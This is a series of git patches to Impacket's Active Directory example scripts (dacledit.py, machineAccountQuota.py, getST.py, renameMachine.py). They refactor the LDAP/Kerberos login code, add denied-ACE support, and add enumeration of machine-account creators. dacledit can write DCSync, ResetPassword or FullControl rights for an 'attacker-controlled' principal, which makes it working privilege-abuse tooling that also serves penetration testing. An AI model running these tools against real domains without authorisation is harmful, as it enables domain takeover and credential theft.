self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) # Backups current DACL before add the new one self.backup() # Effectively push the DACL with the new ACE @@ -285,10 +289,10 @@ def remove(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # These ACEs will be used as comparison templates if self.rights == "FullControl" and self.rights_guid is None: - compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) + compare_aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): - compare_aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + compare_aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) new_dacl = [] i = 0 dacl_must_be_replaced = False @@ -455,8 +459,8 @@ def parsePerms(self, fsr): # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) # - ace : the ACE to parse def parseACE(self, ace): - # For the moment, only the Allowed Access ACE are supported - if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + # For the moment, only the Allowed and Denied Access ACE are supported + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: parsed_ace = {} parsed_ace['ACE Type'] = ace['TypeName'] # Retrieves ACE's flags @@ -468,30 +472,24 @@ def parseACE(self, ace): # For standard ACE # Extracts the access mask (by parsing the simple permissions) and the principal's SID - if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE" ]: parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - # todo match the SID with the object sAMAccountName ? - + # For object-specific ACE - elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + elif ace['TypeName'] in [ "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: # Extracts the mask values. These values will indicate the ObjectType purpose - # todo check if this access mask parsing is okay _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) parsed_ace['Access mask'] = ", ".join(_access_mask_flags) - # todo match the SID with the object sAMAccountName ? - # Extracts the ACE flag values and the trusted SID _object_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + for FLAG in OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) parsed_ace['Flags'] = ", ".join(_object_flags) or "None" - parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - # Extracts the ObjectType GUID values if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() @@ -506,6 +504,9 @@ def parseACE(self, ace): parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) except KeyError: parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type + # Extract the Trustee SID (the object that has the right over the DACL bearer) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + else: # If the ACE is not an access allowed logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) @@ -602,34 +603,44 @@ def modify_secDesc_for_dn(self, dn, secDesc): logging.error('The server returned an error: %s', self.ldap_session.result['message']) - # Builds a standard allowed access ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) + # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb # - access_mask : the allowed access mask # - sid : the principal's SID - def create_access_allowed_ace(self, access_mask, sid): + # - ace_type : the ACE type (allowed or denied) + def create_ace(self, access_mask, sid, ace_type): nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_ACE() nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = access_mask acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata - logging.debug('Allowed access ACE created.') + logging.debug('ACE created.') return nace - # Builds an object-specific allowed access ACE for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) + # Builds an object-specific for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe # - privguid : the ObjectType (an Extended Right here) # - sid : the principal's SID - def create_access_allowed_object_ace(self, privguid, sid): + # - ace_type : the ACE type (allowed or denied) + def create_object_ace(self, privguid, sid, ace_type): nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS acedata['ObjectType'] = string_to_bin(privguid) @@ -640,7 +651,7 @@ def create_access_allowed_object_ace(self, privguid, sid): # This ACE flag verifes if the ObjectType is valid acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT nace['Ace'] = acedata - logging.debug('Object-specific allowed access ACE created.') + logging.debug('Object-specific ACE created.') return nace @@ -672,7 +683,8 @@ def parse_args(): dacl_parser = parser.add_argument_group("dacl editor") dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') - dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename and path for the backup (optional)/restore (required)') + dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename/path (optional for -action backup, required for -restore))') + dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') From 75fb93e009303f4aa34822bde5f3c727482bf846 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 16:09:30 +0200 Subject: [PATCH 109/152] Fixed Kerberos authentication error. --- examples/dacledit.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9e72464144..ef01197487 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -875,6 +875,9 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip if tls_version is not None: use_ssl = True port = 636 @@ -883,7 +886,7 @@ def init_ldap_connection(target, tls_version, args, domain, username, password, use_ssl = False port = 389 tls = None - ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) if args.k: ldap_session = ldap3.Connection(ldap_server) ldap_session.bind() From 6e0d4714c7cc35b39052449cf324c59efae0bd80 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 18:15:07 +0200 Subject: [PATCH 110/152] Code refactor and addition of computer object creator info. --- examples/machineAccountQuota.py | 376 +++++++++++++++++++++++--------- 1 file changed, 271 insertions(+), 105 deletions(-) diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py index 75a4065d77..12396e09f6 100644 --- a/examples/machineAccountQuota.py +++ b/examples/machineAccountQuota.py @@ -5,7 +5,7 @@ # Description: # This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. -# If the value is superior to 0, it opens new paths to enumerate further the target domain. +# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine name and its creator sAMAccountName and SID. # # Author: # TahiTi @@ -14,110 +14,62 @@ import argparse import logging import sys +import ldap3 +import ssl +import traceback +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid +import ldapdomaindump from impacket import version -from impacket.examples import logger +from impacket.examples import logger, utils from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech class GetMachineAccountQuota: - def __init__(self, username, password, domain, cmdLineOptions): - self.options = cmdLineOptions - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = cmdLineOptions.aesKey - self.__doKerberos = cmdLineOptions.k - self.__target = None - self.__kdcHost = cmdLineOptions.dc_ip - if cmdLineOptions.hashes is not None: - self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') - - # Create the baseDN - domainParts = self.__domain.split('.') - self.baseDN = '' - for i in domainParts: - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] - - def getMachineName(self): - if self.__kdcHost is not None: - s = SMBConnection(self.__kdcHost, self.__kdcHost) - else: - s = SMBConnection(self.__domain, self.__domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s') - else: - s.logoff() - return s.getServerName() - - def run(self): - if self.__doKerberos: - self.__target = self.getMachineName() - else: - if self.__kdcHost is not None: - self.__target = self.__kdcHost - else: - self.__target = self.__domain + def __init__(self, ldap_server, ldap_session, args): + self.ldap_server = ldap_server + self.ldap_session = ldap_session - # Connect to LDAP - try: - ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - except ldap.LDAPSessionError as e: - if str(e).find('strongerAuthRequired') >= 0: - # We need to try SSL - ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - else: - raise - - logging.info('Querying %s for information about domain.' % self.__target) - - # Building the search filter - searchFilter = "(objectClass=*)" - attributes = ['ms-DS-MachineAccountQuota'] + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + def machineAccountQuota(self, maq): try: - result = ldapConnection.search(searchFilter=searchFilter, attributes=attributes) - for item in result: - if isinstance(item, ldapasn1.SearchResultEntry) is not True: - continue - machineAccountQuota = 0 - for attribute in item['attributes']: - if str(attribute['type']) == 'ms-DS-MachineAccountQuota': - machineAccountQuota = attribute['vals'][0] - logging.info('MachineAccountQuota: %d' % machineAccountQuota) - + self.ldap_session.search(self.domain_dumper.root, '(objectClass=*)', attributes=['mS-DS-MachineAccountQuota']) + maq = self.ldap_session.entries[0]['mS-DS-MachineAccountQuota'].values[0] + logging.info('MachineAccountQuota: %s' % maq) + return maq except ldap.LDAPSearchError: raise - ldapConnection.close() - -if __name__ == '__main__': - print(version.BANNER) + def maqUsers(self): + self.ldap_session.search(self.domain_dumper.root, '(&(objectCategory=computer)(mS-DS-CreatorSID=*))', attributes=['mS-DS-CreatorSID']) + logging.info("Retrieving non privileged domain users that added a machine account...") + users_sid = [] + if len(self.ldap_session.entries) != 0: + for entry in self.ldap_session.entries: + user_sid = format_sid(entry['mS-DS-CreatorSID'].values[0]) + self.ldap_session.search(self.domain_dumper.root, '(objectSID=%s)' % user_sid, attributes=['objectSID', 'sAMAccountName']) + if user_sid in users_sid: + continue + else: + users_sid.append(user_sid) + logging.info('sAMAccountName : %s' % self.ldap_session.entries[0]['sAMAccountName'].values[0]) + logging.info('User SID : %s ' % user_sid) + else: + logging.info("No non-privileged user added a computer to the domain.") +def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Retrieve the machine account quota value from the domain.') - parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('identity', action='store', help='domain/username[:password]') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') @@ -137,37 +89,251 @@ def run(self): parser.print_help() sys.exit(1) - options = parser.parse_args() + return parser.parse_args() + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' - # Init the example's logger theme - logger.init(options.ts) + return domain, username, password, lmhash, nthash - if options.debug is True: +def init_logger(args): + #Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - domain, username, password = parse_credentials(options.target) +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() - if domain is None: - domain = '' +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ - if options.aesKey is not None: - options.k = True + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + logging.info('dans la co kerberos la target est : %s' % target) + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - password = getpass('Password:') + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, lmhash, nthash = parse_identity(args) + machine_account_quota = 0 try: - execute = GetMachineAccountQuota(username, password, domain, options) - execute.run() + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + execute = GetMachineAccountQuota(ldap_server, ldap_session, args) + + if execute.machineAccountQuota(machine_account_quota) != 0: + execute.maqUsers() + except Exception as e: if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - print((str(e))) + logging.error(str(e)) + +if __name__ == '__main__': + main() From 0138ae44c4667bf0d484223c573cdbc3abb7e982 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 18:17:43 +0200 Subject: [PATCH 111/152] Code refactor and addition of computer object creator info. --- examples/machineAccountQuota.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py index 12396e09f6..6e24e85bda 100644 --- a/examples/machineAccountQuota.py +++ b/examples/machineAccountQuota.py @@ -5,7 +5,8 @@ # Description: # This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. -# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine name and its creator sAMAccountName and SID. +# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine +# name and its creator sAMAccountName and SID. # # Author: # TahiTi From 6ee80f31fced710c98f00b6fda240c9ced9978dd Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 29 Apr 2022 14:57:46 +0800 Subject: [PATCH 112/152] ccache-refactor we may need change the code because ccache-refactor:https://github.com/SecureAuthCorp/impacket/commit/539361973a3faab1189ff1119b8ccc77b1632b28 --- examples/getST.py | 23 ++++++----------------- 1 file changed, 6 insertions(+), 17 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e53f640d43..6e2fcbe769 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -659,23 +659,12 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) def run(self): # Do we have a TGT cached? - tgt = None - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) - principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - # ToDo: Check this TGT belogns to the right principal - TGT = creds.toTGT() - tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] - oldSessionKey = sessionKey - logging.info('Using TGT from cache') - else: - logging.debug("No valid credentials found in cache. ") - except: - # No cache present - pass + domain, _, TGT, _ = CCache.parseFile(self.__domain) + + # ToDo: Check this TGT belogns to the right principal + if TGT is not None: + tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] + oldSessionKey = sessionKey if tgt is None: # Still no TGT From 3c666a293d210b6ece674cdb0c802e6a6e679ad4 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 2 May 2022 17:55:54 +0200 Subject: [PATCH 113/152] Fixing incomplete access mask parsing --- examples/dacledit.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9e72464144..20dc67c823 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -162,17 +162,26 @@ class OBJECT_ACE_FLAGS(Enum): # Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b class ACCESS_MASK(Enum): + # Generic Rights GenericRead = 0x80000000 GenericWrite = 0x40000000 GenericExecute = 0x20000000 GenericAll = 0x10000000 + + # Maximum Allowed access type MaximumAllowed = 0x02000000 + + # Access System Acl access type AccessSystemSecurity = 0x01000000 + + # Standard access types Synchronize = 0x00100000 WriteOwner = 0x00080000 WriteDAC = 0x00040000 ReadControl = 0x00020000 Delete = 0x00010000 + + # Specific rights WriteAttributes = 0x00000100 ReadAttributes = 0x00000080 DeleteChild = 0x00000040 @@ -188,6 +197,9 @@ class ACCESS_MASK(Enum): # Simple permissions are combinaisons of extended permissions class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff + Modify = 0x0301bf + ReadAndExecute = 0x0200a9 + ReadAndWrite = 0x02019f Read = 0x20094 Write = 0x200bc @@ -443,6 +455,7 @@ def parseDACL(self, dacl): # Parses an access mask to extract the different values from a simple permission + # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights # - fsr : the access mask to parse def parsePerms(self, fsr): _perms = [] @@ -933,6 +946,9 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) dacledit = DACLedit(ldap_server, ldap_session, args) + # a = dacledit.parsePerms(0xf01bf) + # print(a) + # exit(0) if args.action == 'read': dacledit.read() elif args.action == 'write': From c72021208de5679a3d6e8de203c2bc3df2e7a8bd Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 3 May 2022 10:54:27 +0200 Subject: [PATCH 114/152] Fixed Kerberos authentication error. --- examples/renameMachine.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index 56f80ffc6e..1664dcb3cf 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -209,6 +209,9 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip if tls_version is not None: use_ssl = True port = 636 @@ -217,7 +220,7 @@ def init_ldap_connection(target, tls_version, args, domain, username, password, use_ssl = False port = 389 tls = None - ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) if args.k: ldap_session = ldap3.Connection(ldap_server) ldap_session.bind() From fe31f1663df682145b5e8a43a2ceddaaae85431b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 17:33:26 +0200 Subject: [PATCH 115/152] Fix principal & target arg descriptions --- examples/dacledit.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index f379894ad5..7b720cc1f2 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -684,12 +684,12 @@ def parse_args(): auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') - principal_parser = parser.add_argument_group("principal", description="Principal object to read/edit the DACL of") + principal_parser = parser.add_argument_group("principal", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - target_parser = parser.add_argument_group("target", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") + target_parser = parser.add_argument_group("target", description="Principal object to read/edit the DACL of") target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") From 